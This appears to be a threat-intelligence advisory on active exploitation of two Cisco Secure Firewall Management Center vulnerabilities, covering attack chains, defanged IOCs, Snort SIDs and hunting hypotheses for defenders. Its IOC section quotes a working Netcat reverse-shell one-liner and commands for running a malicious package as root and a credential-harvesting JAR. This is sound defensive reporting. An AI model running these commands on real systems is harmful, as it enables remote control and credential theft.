6 mincritical
Active exploitation of Cisco Secure Firewall Management Center vulnerabilities
State-sponsored and crimeware actors actively exploit two Cisco FMC vulnerabilities (CVE-2026-20079, CVE-2026-20316) to deploy web shells, Cyclops Blink, and Qilin ransomware. Three threat clusters exploit CVE-2026-20079 (CVSS 10.0 auth bypass) and CVE-2026-20316 (low-priv login) on Cisco Secure FMC. UAT-12197 deploys web shells and credential stealers. UAT-11823 deploys Cyclops Blink via Netcat tunnels. UAT-11988 conducts Qilin ransomware operations.
Sens:■ ImmediateConf:high
IOCs15
5ip3filename3sha2562cve2file path
Detection / Hunteropenrouter
Immediate Actions
defender takeaway
- Apply Cisco hotfixes for CVE-2026-20079 and CVE-2026-20316 immediately.
- Block known C2 IPs: 89.34.96.56, 208.123.119.215, 91.214.78.118, 43.204.2.142.
- Audit FMC instances for unexpected JSP files in Tomcat webroot.
- Check for unauthorized license.tmp files in /var/tmp/.
Key Takeaways
- CVE-2026-20079 (CVSS 10.0) enables unauthenticated remote root via authentication bypass on Cisco FMC.
- CVE-2026-20316 (CVSS 5.3) allows low-privileged login, chained for privilege escalation.
- UAT-11823 overlaps with Sandworm APT, deploying Cyclops Blink malware variant.
- UAT-11988 uses legitimate FMC tooling (package_info.pl) for LOTL reconnaissance before Qilin deployment.
- Hotfixes available now; comprehensive hardening release scheduled for week of September 14th.
Attack Chain
- Initial Access: Exploit CVE-2026-20079 auth bypass or use CVE-2026-20316 static credentials on Cisco FMC
- Execution: Deploy web shells (home.jsp), JAR executors (cmd.jar), or malicious license.tmp packages
- Persistence: Establish reverse shells via Netcat, install Cyclops Blink in /etc/init.d/, deploy SOCKS proxies
- Credential Access: Query internal databases via OmniQuery.pl, harvest AD and MySQL credentials
- Discovery: Conduct network scanning, domain enumeration, hostname-to-IP mapping across infrastructure
- Impact: Deploy Qilin ransomware on selected endpoints (UAT-11988 cluster)
Affected Systems
- Cisco Secure Firewall Management Center (FMC) Software — unpatched instances
Vulnerabilities (CVEs)
| CVE | Product | Severity | Description |
|---|---|---|---|
| CVE-2026-20079 | Cisco Secure Firewall Management Center (FMC) Software | Critical (CVSS 10.0) | Unauthenticated remote attacker bypasses authentication to obtain root access. |
| CVE-2026-20316 | Cisco Secure Firewall Management Center (FMC) Software | Medium (CVSS 5.3) | Remote attacker logs in using low-privileged account, chained for privilege escalation. |
Detection Availability
- Published: Snort/Suricata
- Platforms: Snort
Snort SIDs 66075-66080 (CVE-2026-20079), 66883 (CVE-2026-20316), 66960-66961 (malware). IOCs on GitHub.
Detection Engineering Assessment
Hypotheses are starting points derived from the article, not findings about your environment; validate against your own telemetry.
| Dimension | Rating | Rationale |
|---|---|---|
| EDR Visibility | Medium | FMC runs a Linux-based OS; EDR coverage depends on appliance instrumentation. |
| Network Visibility | High | Reverse shells, HTTP exfiltration, and scanning generate detectable network traffic. |
| Detection Difficulty | Moderate | LOTL techniques and legitimate tooling abuse require behavioral baselines. |
Hunting Hypotheses
| Hypothesis | Telemetry | Stage | FP Risk |
|---|---|---|---|
| FMC package_info.pl executing non-standard license files with root privileges (T1068) | Process execution logs on FMC | Execution | Low — legitimate license updates are infrequent |
| Netcat or similar reverse shell tools communicating on non-standard ports from FMC appliances (T1095, T1571) | Network flow logs, firewall logs | C2 | Low — FMC should not initiate outbound shell connections |
| JSP files appearing in Tomcat webroot directory with ClassLoader and Base64 decoding functionality (T1505.003) | File integrity monitoring, web server logs | Persistence | Low — legitimate JSP deployments follow change management |
| SOCKS proxy or reverse SSH tunnels forwarding internal ports from FMC to external hosts (T1572) | Network flow logs, process logs | C2 | Medium — admin tunneling may occur |
Required Log Sources
- FMC system logs
- NetFlow or traffic logs
- Snort IDS alerts
- Authentication logs
- Tomcat web server logs
Key Behavioral Indicators
- package_info.pl executing license.tmp files from /var/tmp/
- JSP files with ClassLoader and Base64 decode in Tomcat webroot
- Netcat processes on FMC with non-standard ports (e.g., 3090)
- Python SOCKS5 proxy (socks5.py) running on FMC
- New scripts in /etc/init.d/ executing ELF binaries
- Configuration files renamed to show_version.txt or show_running-config.txt
Control Gaps
- Network IPS may not inspect FMC management plane traffic
- File integrity monitoring may not cover FMC Tomcat webroot
- Endpoint detection tools may not run on FMC appliances
- Authentication logs may not capture auth bypass attempts
False Positive Assessment
Low — FMC appliances have limited legitimate use of Netcat, package_info.pl with custom files, or new JSP files in webroot.
Recommendations
Suggestions to evaluate against your own environment, tooling, and incident-response procedures — not directives.
Infrastructure Hardening
- Restrict FMC management interface to trusted networks only.
- Deploy Snort SIDs 66075-66080, 66883, 66960-66961 on perimeter.
- Monitor for outbound Netcat connections from FMC appliances.
- Enable file integrity monitoring on FMC Tomcat webroot and /etc/init.d/.
User Protection
- Rotate credentials for all accounts stored in FMC databases.
- Reset AD service account credentials if FMC compromise is suspected.
- Block 104.218.165.253 to prevent vulnerability scanning.
- Monitor for Qilin ransomware indicators on endpoints.
MITRE ATT&CK Mapping
MITRE ATT&CK Mapping19 techniques
Tactic
Initial Access
Tactic
Execution
Tactic
Persistence
Tactic
Privilege Escalation
Tactic
Stealth
Tactic
Credential Access
Tactic
Collection
Plain-Language Summary
Hackers are actively attacking vulnerabilities in Cisco's firewall management software to gain full control of systems. Three groups are exploiting these flaws: one steals credentials, one linked to Russian state hackers deploys Cyclops Blink malware, and one deploys Qilin ransomware. Apply Cisco's security patches immediately.
Additional IOCs
- File Paths:
/var/tmp/license.tmp- Malicious Makeself package for root executionhome.jsp- JSP web shell in Tomcat webrootcmd.jar- JAR-based command executorsocks5.py- Python SOCKS5 proxy tool for tunneling/etc/init.d/- Persistence scripts directory for Cyclops Blink
- Command Lines:
- Purpose: Establish Netcat reverse shell to C2 server | Tools:
nc,mkfifo,bin/sh| Stage: C2 |mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ip> <port> >/tmp/f - Purpose: Execute malicious license package with root privileges via legitimate FMC utility | Tools:
package_info.pl,Makeself| Stage: Execution |/usr/local/sf/bin/package_info.pl /var/tmp/license.tmp --lsm - Purpose: Execute JAR command executor to query database for credentials | Tools:
java,cmd.jar,OmniQuery.pl| Stage: Credential Access |/var/jre/bin/java -jar cmd.jar
- Purpose: Establish Netcat reverse shell to C2 server | Tools:
Showing defanged values
- cveCVE-2026-20079Unauthenticated remote attacker bypasses authentication to obtain root access.
- cveCVE-2026-20316Remote attacker logs in using low-privileged account, chained for privilege escalation.
- filenamecmd.jarJAR-based command executor
- filenamehome.jspJSP web shell in Tomcat webroot
- filenamesocks5.pyPython SOCKS5 proxy tool for tunneling
- file_path/etc/init.d/Persistence scripts directory for Cyclops Blink
- file_path/var/tmp/license.tmpMalicious Makeself package for root execution
- ip104[.]218[.]165[.]253Vulnerability scanner targeting CVE-2026-20079
- ip208[.]123[.]119[.]215Netcat reverse shell C2 server for UAT-11823
- ip43[.]204[.]2[.]142Attacker IP for intrusions by UAT-11988
- ip89[.]34[.]96[.]56Netcat and Cyclops Blink C2 for UAT-11823
- ip91[.]214[.]78[.]118Netcat reverse shell C2 for UAT-11823
- sha2566f98add5d1a7729192b6ad8491d85c505c64836f7881742d6b93bd8e3d2fe461Cyclops Blink malware variant deployed by UAT-11823
- sha256b037f45e02a289325a1a5eb0d4db6a9fce9954fd0fdfd07162cb4eb2acbef77dhome.jsp web shell deployed by UAT-12197
- sha256db491181ece3f319de6567ab6f6daa90c6879911cd890155e6b7d8cc7a1a8c8ecmd.jar JAR-based command executor for credential theft